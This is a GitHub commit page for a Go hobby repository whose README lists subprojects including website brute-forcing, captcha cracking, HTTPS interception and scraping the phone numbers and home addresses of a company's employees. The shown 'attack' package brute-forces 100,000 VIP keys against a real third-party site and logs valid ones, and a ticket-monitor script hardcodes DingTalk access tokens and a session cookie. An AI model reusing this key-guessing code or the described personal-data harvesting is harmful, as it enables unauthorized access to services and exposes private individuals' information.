-
Notifications
You must be signed in to change notification settings - Fork 34
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0 parents
commit e910b6d
Showing
104 changed files
with
595,738 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,2 @@ | ||
.idea/ | ||
peterq.cn.crt |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,32 @@ | ||
# small funny project | ||
|
||
> 这个是本人学习go语言的实践小项目,或者验证型实验. 每一个子目录都是一个小项目 | ||
> 仅供学习参考, 请勿作怪, 谢谢合作 | ||
``` | ||
. | ||
├── ascii // 任意进制转换 | ||
├── attack // 暴力破解某网站 | ||
├── avengers_movie // 复联4抢票助手 | ||
├── baidu_pan // 百度网盘下载实验 | ||
├── food // 高并发爬取某食物网站数据 | ||
├── frame_buffer // linux 下无桌面环境实现gui | ||
├── fsnotify // fsnotify | ||
├── go.mod | ||
├── go.sum | ||
├── leet_code // leet_code 刷题记录 | ||
├── loader // 这些小项目的加载器, 用来实现单入口启动 | ||
├── main.go | ||
├── my_charles // 实现charles功能, 对不同域名自动生成证书, 实现抓取https数据 | ||
├── projects/maze // 迷宫算法实现 | ||
├── proxy // 第一代 http 代理池 | ||
├── README.md | ||
├── spider_client // 爬虫客户端 + 第二代 http 代理池 | ||
├── tcp_log // 远程日志输出端 | ||
├── tencent_code // 破解腾讯滑动验证 | ||
├── test // 一些测试 | ||
├── wasm // web assmebly 测试 | ||
├── xes // 爬取学而思全体员工手机号及住址 | ||
└── yeb_exp // 余额宝体验金助手 | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,78 @@ | ||
package main | ||
|
||
import ( | ||
"log" | ||
"math" | ||
"strings" | ||
) | ||
|
||
var sourceMap [62]string | ||
var encodeMap [93]string | ||
var encodeMapRevert = make(map[string]uint8) | ||
|
||
func init() { | ||
str := "abcdefghijklmnopqrstuvwxyz" | ||
str += "ABCDEFGHIJKLNMOPQRSTUVWXYZ" | ||
str += "1234567890" | ||
for idx, ch := range str { | ||
sourceMap[idx] = string(ch) | ||
} | ||
str += "~`!@#$%^&*()_+-=<>,.?/:|\\;'{}[]" | ||
for idx, ch := range str { | ||
encodeMap[idx] = string(ch) | ||
encodeMapRevert[string(ch)] = uint8(idx) | ||
} | ||
} | ||
|
||
func encode(src string) string { | ||
result := "" | ||
for i := 0; i < len(src)-1; i += 3 { | ||
s := src[i : i+3] | ||
temp := decimalToAny(anyToDecimal(s, 62), 93) | ||
log.Println(s, temp, anyToDecimal(s, 62)) | ||
temp = strings.Repeat(encodeMap[0], 2-len(temp)) + temp | ||
result += temp | ||
} | ||
return result | ||
} | ||
|
||
func decode(src string) string { | ||
result := "" | ||
for i := 0; i < len(src)-1; i += 2 { | ||
s := src[i : i+2] | ||
temp := decimalToAny(anyToDecimal(s, 93), 62) | ||
temp = strings.Repeat(encodeMap[0], 3-len(temp)) + temp | ||
result += temp | ||
} | ||
return result | ||
} | ||
|
||
// 10进制转任意进制 | ||
func decimalToAny(num, n int) string { | ||
new_num_str := "" | ||
var remainder int | ||
var remainder_string string | ||
for num != 0 { | ||
remainder = num % n | ||
remainder_string = encodeMap[remainder] | ||
new_num_str = remainder_string + new_num_str | ||
num = num / n | ||
} | ||
return new_num_str | ||
} | ||
|
||
// 任意进制转10进制 | ||
func anyToDecimal(num string, n int) int { | ||
new_num := float64(0.0) | ||
nNum := len(strings.Split(num, "")) - 1 | ||
for _, value := range strings.Split(num, "") { | ||
tmp := float64(encodeMapRevert[value]) | ||
new_num += tmp * math.Pow(float64(n), float64(nNum)) | ||
nNum-- | ||
} | ||
return int(new_num) | ||
} | ||
|
||
func main() { | ||
log.Println(encode("d41d8cd98f00b204e9800998ecf8427e")) | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,24 @@ | ||
package main | ||
|
||
import ( | ||
"log" | ||
"unsafe" | ||
) | ||
|
||
type t1 struct { | ||
a int | ||
} | ||
|
||
type t2 struct { | ||
_ [0]func(string, []string) bool | ||
_ [0]func(string, []string) bool | ||
_ [0]func(string, []string) bool | ||
a int | ||
} | ||
|
||
func main() { | ||
var t11 t1 | ||
var t22 t2 | ||
log.Println(unsafe.Sizeof(t11)) | ||
log.Println(unsafe.Sizeof(t22)) | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,37 @@ | ||
package attack | ||
|
||
import ( | ||
"funny/spider_client" | ||
"github.com/axgle/mahonia" | ||
"log" | ||
"strconv" | ||
"strings" | ||
) | ||
|
||
func Init() { | ||
log.Print("attack init") | ||
spider := spider_client.New(1000, 10, 0, true) | ||
for i := 22744; i < 100000; i++ { | ||
go func(i int) { | ||
res, err := spider.Get("http://www.90api.cn/vip.php?key="+strconv.Itoa(584198000+i)+"&sl=1", 0) | ||
if err != nil { | ||
log.Println(err, res, i) | ||
} else { | ||
str := ConvertToString(res.Body, "gbk", "utf-8") | ||
if strings.Index(str, "已过期") < 0 { | ||
log.Println(str, i) | ||
} | ||
} | ||
}(i) | ||
} | ||
select {} | ||
} | ||
|
||
func ConvertToString(src string, srcCode string, tagCode string) string { | ||
srcCoder := mahonia.NewDecoder(srcCode) | ||
srcResult := srcCoder.ConvertString(src) | ||
tagCoder := mahonia.NewDecoder(tagCode) | ||
_, cdata, _ := tagCoder.Translate([]byte(srcResult), true) | ||
result := string(cdata) | ||
return result | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,149 @@ | ||
package main | ||
|
||
import ( | ||
"bytes" | ||
"context" | ||
"encoding/json" | ||
"fmt" | ||
"github.com/PuerkitoBio/goquery" | ||
"io/ioutil" | ||
"log" | ||
"net/http" | ||
"net/http/cookiejar" | ||
"net/url" | ||
"strings" | ||
"sync" | ||
"time" | ||
) | ||
|
||
var globalCtx context.Context | ||
var cancelGlobalCtx context.CancelFunc | ||
var dingUrl = "https://oapi.dingtalk.com/robot/send?access_token=40da525c975c6a7d433eaf85854e12b0a99579348ae54775a382694501b1b7f0" | ||
|
||
//var dingUrl = "https://oapi.dingtalk.com/robot/send?access_token=d50545dca18bcaa92e507c8e27cb1b6f78139050eb40bffeef5cde4303954e47" | ||
var resultUrl = "https://maoyan.com/cinema/15658?poi=80370653&movieId=248172" | ||
var dingBotNotify = newDingBot(dingUrl) | ||
var html []byte | ||
var cookies = []*http.Cookie{ | ||
{ | ||
Name: "JSESSIONID", | ||
Value: "23A6BC7FF315CD8A582852A5B17D3136.node1", | ||
}, | ||
} | ||
var result string | ||
var resultLock sync.Mutex | ||
|
||
var httpClient = http.Client{ | ||
Transport: nil, | ||
CheckRedirect: nil, | ||
Jar: nil, | ||
Timeout: 0, | ||
} | ||
|
||
func main() { | ||
log.Println("启动成功") | ||
globalCtx, cancelGlobalCtx = context.WithCancel(context.Background()) | ||
|
||
httpClient.Jar, _ = cookiejar.New(&cookiejar.Options{ | ||
PublicSuffixList: nil, | ||
}) | ||
u, _ := url.Parse("http://jwglnew.hunnu.edu.cn") | ||
log.Println(u, cookies) | ||
httpClient.Jar.SetCookies(u, cookies) | ||
|
||
go checkResult() | ||
go heartBeat() | ||
<-globalCtx.Done() | ||
} | ||
|
||
func checkResult() { | ||
for true { | ||
currentResult := grab() | ||
resultLock.Lock() | ||
resultLock.Unlock() | ||
if result != currentResult { | ||
log.Println("有变化") | ||
result = currentResult | ||
sendToDing("有变化啦!!!!") | ||
} else { | ||
log.Println("没变化") | ||
} | ||
// 每分钟查一次 | ||
time.Sleep(time.Minute) | ||
} | ||
} | ||
|
||
func sendToDing(title string) { | ||
resultLock.Lock() | ||
defer resultLock.Unlock() | ||
if len(result) < 5 { | ||
return | ||
} | ||
js := `{ | ||
"msgtype": "markdown", | ||
"markdown": {"title":"", "text":"" }}` | ||
postData := map[string]interface{}{} | ||
json.Unmarshal([]byte(js), &postData) | ||
md := ` | ||
# %s | ||
%s | ||
` | ||
md = fmt.Sprintf(md, title, result) | ||
dingBotNotify.sendMarkDown(title, md) | ||
} | ||
|
||
func heartBeat() { | ||
time.Sleep(5 * time.Second) | ||
for true { | ||
nextTime := time.Now().Add(time.Hour * 2) | ||
sendToDing("我还活着, 下次时间:" + nextTime.Format("15:04:05")) | ||
// 2 小时发送一次消息, 用来确认还活着 | ||
time.Sleep(2 * time.Hour) | ||
} | ||
} | ||
|
||
func grab() string { | ||
req, _ := http.NewRequest("GET", resultUrl, nil) | ||
resp, err := httpClient.Do(req) | ||
if err != nil { | ||
log.Println(err) | ||
} | ||
bin, err := ioutil.ReadAll(resp.Body) | ||
if err != nil { | ||
log.Println(err) | ||
} | ||
content := string(bin) | ||
doc, _ := goquery.NewDocumentFromReader(strings.NewReader(content)) | ||
return doc.Find("#app > div.show-list.active > div.show-date").Text() | ||
} | ||
|
||
type dingBot struct { | ||
apiUrl string | ||
} | ||
|
||
type tjson map[string]interface{} | ||
|
||
func newDingBot(url string) *dingBot { | ||
return &dingBot{ | ||
apiUrl: url, | ||
} | ||
} | ||
|
||
func (bot *dingBot) sendMarkDown(title, content string) { | ||
postData := tjson{ | ||
"msgtype": "markdown", | ||
"markdown": tjson{ | ||
"title": title, | ||
"text": "# " + title + "\n\n" + content, | ||
}, | ||
} | ||
postRaw, _ := json.Marshal(postData) | ||
resp, err := http.Post(bot.apiUrl, "application/json", bytes.NewReader(postRaw)) | ||
if err != nil { | ||
log.Println(err) | ||
return | ||
} | ||
bin, _ := ioutil.ReadAll(resp.Body) | ||
log.Println(string(bin)) | ||
} |
Oops, something went wrong.